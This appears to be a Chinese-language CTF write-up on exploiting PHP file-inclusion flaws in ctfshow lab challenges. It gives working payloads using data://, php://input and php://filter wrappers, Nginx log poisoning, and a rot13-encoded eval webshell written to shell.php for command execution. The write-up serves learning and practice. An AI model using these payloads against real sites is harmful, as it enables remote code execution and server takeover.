首页 > 编程语言 >文件包含与PHP伪协议

文件包含与PHP伪协议

时间:2024-08-12 15:39:31浏览次数:10  
标签:文件 shell 包含 协议 过滤 file PHP data php

文件包含与伪协议

一、无任何过滤措施的文件包含漏洞:(ctfshow-web78):

image

1、data://协议:

?file=data://text/plain,<?php system('tac flag.php');?>

2、php://filter协议:

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到 base64加密过后的数据,对数据进行base64解密即可得到flag

3、php://input协议:

?file=php://input

然后使用POST方法发送php代码:<?php system('tac flag.php');?>
image

4、file直接包含:

file的使用存在前提:
allow_url_fopen = On
allow_url_include = On

使用file协议需预知flag文件路径:
?file=/var/www/html/flag.php

二、过滤 'php':(ctfshow-web79):

image

1、data://协议 + PHP短标签:

?file=data://text/plain,<?='tac flag.php'?>

tac flag.php应用反引号扩起

<?=为PHP短标签,作用等效于 <?php echo

2、data://协议 + base64编码:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

3、php://input协议大小写绕过:

image

三、Nginx日志写入(ctfshow-web81):

Nginx的日志文件 access.log 默认配置路径为 /var/log/nginx/access.log
image

:被过滤,伪协议失效,通过Wappalyzer得知Web服务器为Nginx,且代码未作对于Nginx默认日志访问路径参数的相关过滤,考虑使用 Nginx日志写入一句话木马。

image

四、file_put_contents() 函数(ctfshow-web87):

image
.被过滤,无法实现access.log的日志写入,但是可以根据fil_put_contents()函数的函数特性,构造新文件shell.php,在shell.php中写入一句话木马拿权限。

?file=php://filter/write=string.rot13/resource=shell.php

由于urldeocde()函数,需要对?file=的参数进行url双编码(浏览器解码一次,urldecode()函数解码一次)

content参数使用POST方法请求:

content=?<hp pe@av(l_$EG[T]1;)>? (rot13编码)

如下图所示:
image

最后访问/shell.php连接一句话木马:

/shell.php?1=system('ls');

/shell.php?1=system('tac fl0g.php');

五、iconv过滤器(stfshow-web117):

image

代码中过滤了绝大多数 php://filter 过滤器,但是未过滤 iconv过滤器:

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php

contents参数为指定字符编码:
image

image

标签:文件,shell,包含,协议,过滤,file,PHP,data,php
From: https://www.cnblogs.com/kgty/p/18355081

相关文章

  • php除数为0无法捕获
    先看一个代码$num=0;try{echo1/$num;}catch(Exception$e){echo$e->getMessage();}这时候得catch是无法捕获除数为0得错误修复<?phpfunctionerrorHandler($errno,$errstr,$errfile,$errline){//检查错误类型是否为除以零if($errn......
  • 单片机的异常定位方案,采用axf文件定位的办法
    【STM32F303开发】+使用fromelf反汇编keil生成的AXF文件 【STM32F303开发】+使用fromelf反汇编keil生成的AXF文件(stmicroelectronics.cn)【STM32F303开发】+如何找到导致程序出现HardFault的代码【STM32F303开发】+如何找到导致程序出现HardFault的代码-STM32团队ST意法......
  • cx_Freeze 打包生成Linux可执行文件
    准备一台linux系统环境安装cx_Freezepipinstallcx_Freeze准备两个py脚本1,app应用脚本,需要打包的app.pyimportrandomimporttimefromflaskimportFlask,jsonifyfromconcurrent.futuresimportThreadPoolExecutorapp=Flask(__name__)executor=ThreadPoolE......
  • 提升SEO与网站可爬性 :动态生成sitemaps和robots.txt文件
    本文由ChatMoney团队出品在现代Web开发中,搜索引擎优化(SEO)是网站成功的关键因素之一。搜索引擎通过网络爬虫来索引网页,而sitemaps和robots.txt文件则是帮助这些爬虫更好地理解和索引网站内容的重要工具。sitemaps简介Sitemap(站点地图)是一种XML文件,它包含了网站上的所有URL以......
  • PHP身份证三要素核验接口集成-身份证三要素查询真伪-身份证三要素实名认证
    身份证三要素实名认证接口简介:身份证三要素实名认证是核验身份证号、姓名、证件头像是否一致,以此来验证身份证的真伪,现已被广泛应用于电商、银行、保险等各种需要对身份真伪进行核查的场景。身份证三要素实名认证接口核验返回参数说明如下:序号 名称 类型 说明1 user_check_res......
  • 翔云PHP身份证识别接口集成示例-护照识别-港澳台通行证识别
    证件识别接口简介:证件识别接口一般是指针对各类证件进行识别,其中包含但不限于身份证识别、护照识别、港澳台通行证识别、户口页识别、驾驶证识别、行驶证识别、台湾健保卡等,其​多应用于需要进行实名认证与证件信息登记的场景。证件身份证识别接口返回结果示例如下:证件识别接......
  • 动态生成sitemaps和robots.txt文件:提升SEO与网站可爬性
    本文由ChatMoney团队出品在现代Web开发中,搜索引擎优化(SEO)是网站成功的关键因素之一。搜索引擎通过网络爬虫来索引网页,而sitemaps和robots.txt文件则是帮助这些爬虫更好地理解和索引网站内容的重要工具。sitemaps简介Sitemap(站点地图)是一种XML文件,它包含了网站上的所有URL以......
  • 从字节到文件下载:揭秘 Spring 中 MultipartFile 的转换与浏览器端自动下载实现
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言一、下载功能核心Java代码二、代码解析1.设置Content-Disposition响应头2.设置Content-Type响应头3.写入文件内容到响应输出流4.文件写入到本地磁盘5.文件写入到Mnio中5.1主方法5.2实现......
  • NetCDF 文件批量转栅格并导出栅格各波段
    两年前,我曾发布过一篇名为《导出NetCDF栅格图层的各个波段》的公众号推文,讲述了通过网络中的ArcGIS工具将单个NetCDF文件的各个波段分别导出为tif文件的方法。该工具提供了arcpy源代码,我们以该代码为基础,将其转换为ArcGISPro环境下的Python3代码,并使程序可对多个文......
  • php收银系统源代码,可二次开发
    收银系统开发语言核心开发语言: PHP、HTML5、Dart后台接口: PHP7.3后合管理网站: HTML5+vue2.0+element-ui+css+js线下收银台(安卓/PC收银、安卓自助收银): Dart3框架:Flutter 3.19.6助手: uniapp商城: uniapp1.多样化线下收银如Windows版收银(exe安装包)、安卓版收银(apk......